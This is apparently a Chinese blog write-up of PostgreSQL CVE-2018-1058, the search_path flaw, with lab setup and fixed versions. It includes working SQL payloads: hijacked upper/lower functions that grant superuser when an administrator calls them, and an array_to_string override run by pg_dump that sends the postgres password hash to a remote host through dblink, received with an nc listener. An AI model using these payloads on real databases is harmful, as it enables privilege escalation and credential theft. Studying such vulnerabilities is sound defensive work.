PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】

PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】

0X01 What

Theory

A flaw was found in the way Postgresql allowed a user to modify the behavior of a query for other users. An attacker with a user account could use this flaw to execute code with the permissions of superuser in the database. Versions 9.3 through 10 are affected.

0x02 Where

Vulnerable software and versions

漏洞影响版本:https://www.securityfocus.com/bid/103221

0x03 How

Basic Env

PostgreSQL(win平台)下载地址: PostgreSQL-9.6.7

$ psql -U postgres
postgres=# CREATE DATABASE vs0sv;
postgres=# CREATE USER vs0sv WITH PASSWORD 'vs0sv';
CREATE ROLE
postgres=# GRANT ALL PRIVILEGES ON DATABASE vs0sv to vs0sv;
GRANT
image.png

基本环境如下:

超级用户:postgres
普通用户:vs0sv
数据库: heil
漏洞分析/利用

基本场景:
先看一些基本场景,该漏洞验证时候,需要打开两个窗口进行展示,分别是 vs0sv 普通用户 和 postgres 超级管理员用户:

$ psql -U vs0sv -d heil    --> 普通用户vs0sv登录命令后不加 ;
$ psql -U postgres         --> 超级管理员用户登录,超管能管所有表

分别通过SELECT SESSION_USER;获知当前的会话用户:

image.png
image.png

我们在public模式中创建一张表以及对应的字段:

image.png
CREATE TABLE public.test AS SELECT 'just test for fun' :: text AS test;

SELECT * FROM test;

紧接着进行查询:

heil=> SELECT * FROM test;

接着我们新创建一个模式(schema),其模式名即为vs0sv,也即当前的SESSION_USER:

heil=> CREATE schema vs0sv;

然后在vs0sv模式中创建对应的表以及字段:

heil=> CREATE TABLE vs0sv.test AS SELECT 'i am vs0sv'::text AS test;

然后我们执行跟上次相同的查询语句:


heil=> SELECT * FROM test;
image.png

为什么两次查询出现了不同的结果呢?这个涉及到PostgreSQL的search_path。PostgreSQL 7.3后引入了schema的概念,称之为模式或者架构,允许用户在独立的命名空间中创建不同的对象(比如table,function)。在默认情况下,比如刚刚创建的一个数据库,都会有默认的一个public模式,在不做其他操作或者设定的情况下,诸如查询等操作都是在这个public中进行查询。

比如说:


SELECT * FROM test;

也即等价于:


SELECT * FROM public.test;

由于采用了独立的命名空间,因此在用户进行查询时,倘若涉及到对相同名字但在不同schema中的对象操作时,必然需要考虑一定的顺序。在PostgreSQL 9.6.7的官方文档中,search_path (string)说明了相关场景中的相应匹配动作,截取部分如下:

When there are objects of identical names in different schemas, the one found first in the search path is used.

If one of the list items is the special name $user, then the schema having the name returned by SESSION_USER is substituted, if there is such a schema and the user has USAGE permission for it. (If not, $user is ignored.)

The system catalog schema, pg_catalog, is always searched, whether it is mentioned in the path or not. If it is mentioned in the path then it will be searched in the specified order. If pg_catalog is not in the path then it will be searched before searching any of the path items.

即:

  1. 首先适配原则,第一个找到的object被使用
  2. 名为$user的schema由SESSION_USER决定
  3. 如果pg_catalog不在path中则会最先查找它,如果在path中则按照指定顺序查找

第1、2点即如前面所示,但PostgreSQL在对第3点的实现上出现了Design Error(securityfocus的分类),造成了代码执行漏洞。

Explotation

在Postgres的commit记录中,有如下commit:

As special exceptions, the following client applications behave as documented
regardless of search_path settings and schema privileges: clusterdb
createdb createlang createuser dropdb droplang dropuser ecpg (not
programs it generates) initdb oid2name pg_archivecleanup pg_basebackup
pg_config pg_controldata pg_ctl pg_dump pg_dumpall pg_isready
pg_receivewal pg_recvlogical pg_resetwal pg_restore pg_rewind pg_standby
pg_test_fsync pg_test_timing pg_upgrade pg_waldump reindexdb vacuumdb
vacuumlo. Not included are core client programs that run user-specified
SQL commands, namely psql and pgbench.

上面的commit提到了两类的client applications。下文的较为直观的利用方式一是针对第二类client applications(比如psql),然后利用方式二是通过第一类client applications来执行任意代码,相比较下更为隐蔽。

Exploit 1

在系统schema pg_catalog中,定义了大量的函数,用pgAdmin3查看:

image.png

以函数abs系列为例,接受一个类型为bigint\smallint\intger\real\double precision\numeric的参数,返回其绝对值。倘若我们传送一个非数值类型的参数呢,比如text,

vs0sv=> select abs('vs0sv');

由于并没有参数类型为text的abs函数,会直接报错:

但postgres提供了自定义函数的功能!我们创建如下函数:

CREATE FUNCTION public.abs(TEXT) RETURNS TEXT AS $$
     SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

当我们再次执行同样的查询语句,根据postgres的设计流程,它会先去查找系统schemapg_catalog,但由于参数类型不同没有找到,接着按照search_path中的顺序查找,而我们定义的abs(text)存在于schemapublic中,参数符合,因此pg理所当然地执行了我们(vs0sv)定义的函数:

image.png

注意一个点,这个函数是定义在schemapublic中的,也就是说对于进入到这个数据库的任何用户,只要他们调用了abs,且参数为text,都有可能会诱发恶意的代码执行。比如以超级用户postgres执行:

image.png

不过有谁会傻乎乎的去运行一个莫名其妙的abs(text)呢?因此真正的攻击手段是将过程隐藏到看似正常的数据库查询中。这次我们选择schemapg_catalog中的另外一类函数比如lower(text),upper(text),它们分别将text类型的参数转成小写和大写,不过系统没有提供接受varchar参数的lower和upper,尽管可以进行类型转换,但对pg而言,最好的选择当然是参数类型恰好符合的恶意自定义函数。

创建一个表,值的类型为varchar:

CREATE TABLE public.hahahaha AS SELECT 'vs0sv'::varchar AS contents;

创建对应的恶意函数:

CREATE FUNCTION public.lower(varchar) RETURNS TEXT AS $$
     SELECT 'you are hacked by ' || $1;
$$ LANGUAGE SQL IMMUTABLE;

对绝大部分用户而言,他们可能看大写的VS0SV不爽,然后执行了lower函数,但在不知道/清楚类型的情况下,他们执行的是public中的恶意自定义函数。

image.png

只能打印you are hacked by XXX有毛用!!由于恶意自定义函数可以被超级用户调用到,因此也就有了相应的执行权限,最简单的比如提权。

先来看看权限情况(以超级用户为例),可以看到只有postgres的rolsuper是t,即true:

image.png

在用户vs0sv登陆进vs0sv数据库后,他创建了如下upper函数:

CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
    ALTER ROLE vs0sv SUPERUSER;
    SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

注意这里是VOLATILE,具体原因参考 官方文档: xfunc-volatility

另外一张table,小写的vs0sv:

CREATE TABLE public.hehehehe AS SELECT 'vs0sv'::varchar AS contents;

管理员一看,心中不爽:小写小写就知道小写,然后:

看上去一切正常,大写的大写。回到用户vs0sv处,查看一下权限:

image.png

vs0sv已经成为超级用户 :)

利用方法有很多,理论上只要能创建恶意函数,管理员调用,就是以管理员身份去执行恶意sql语句/代码。在这种情况中,如commit所说Not included are core client programs that run user-specified SQL commands, namely psql and pgbench.,被攻击用户是知道自己执行的sql语句,只是其中的某个function意义被掉包了。

Exploit 2

安装完PostgreSQL后还会有一系列的工具,比如pg_dumppg_dumpall等等。基于利用方式一,在创建了恶意函数的基础之上,可以通过这些工具来执行恶意函数。这些工具在执行过程中会动态设定search_path,导致public的优先级比pg_catalog高,也就是说即使是在相同类型相同参数相同函数名的情况下,会选择public中的函数。相比第一种而言隐蔽性更强,同时有更高的可触发性。

为利用pg_dump中的sql语句,可以利用log来观察执行过程。在superuser的权限下show log_directory;找到log目录,将目录下postgresql.conf中的约莫455行改为log_statement = all。重启PostgreSQL后,使用pg_dump工具执行备份命令:

pg_dump -U postgres -f heil.bak heil

同时观察log输出,查找statement: SET search_path =,最后在某处我发现了一段这样的log:

image.png

可以看到在这段log中,有一处的array_to_string是没有指定schema的。在系统schema中它的定义如下:

image.png

在这里由于已经设定了search_path,为了能直接适配,这里创建的恶意函数的参数个数和类型都必须和pg_catalog中定义的相同,倘若不同则会按顺序匹配到正确的函数。

因为pg_dump在运行过程中开启的是read only transaction,根据官方文档

The transaction access mode determines whether the transaction is read/write or read-only. Read/write is the default. When a transaction is read-only, the following SQL commands are disallowed: INSERT, UPDATE, DELETE, and COPY FROM if the table they would write to is not a temporary table; all CREATE, ALTER, and DROP commands; COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed. This is a high-level notion of read-only that does not prevent all writes to disk.

是不允许执行下类操作的:

  1. INSERT, UPDATE, DELETE, COPY FROM
  2. all CREATE, ALTER, and DROP commands
  3. COMMENT, GRANT, REVOKE, TRUNCATE; and EXPLAIN ANALYZE and EXECUTE if the command they would execute is among those listed

不过并没有禁止select语句。如果开启了dblink,则可以利用查询来带出数据,比如用dblink_connect。因此我们创建这样的一个恶意函数:

CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.248.132 port=12345 user=postgres password=vs0sv sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;

远程vps上监听:

nc -lvv 12345

当管理员进行数据库备份时:

pg_dump -U postgres -f vs0sv.bak vs0sv
image.png

即可得到管理员密码: 别问我为什么盗图,因为没钱买vps,原理大致相同吧,这里要感谢chybeta表哥以图相赠啦!

image.png

0x04 Fix it

以下版本修复了该漏洞

PostgreSQL PostgreSQL 9.6.8 
PostgreSQL PostgreSQL 9.5.12 
PostgreSQL PostgreSQL 9.4.17 
PostgreSQL PostgreSQL 9.3.22

0x05 Knowledgeable p0int

  • 一定要在postgreSQL路径下开两个窗口:一个是postgres超管的,一个是vs0sv普通用户的。
  • postgreSQL语法大全 :外连接数据库命令不需要最后带分号
  • 如何查看数据库当前用户
  • 如何用postgreSQL查看系统中的所有用户
  • pgadmin4下载

0x06 Thanks for Bro,Reference

chybeta

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,445评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,889评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,047评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,760评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,745评论 5 367
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,638评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,011评论 3 398
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,669评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,923评论 1 299
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,655评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,740评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,406评论 4 320
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,995评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,961评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,197评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,023评论 2 350
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,483评论 2 342

推荐阅读更多精彩内容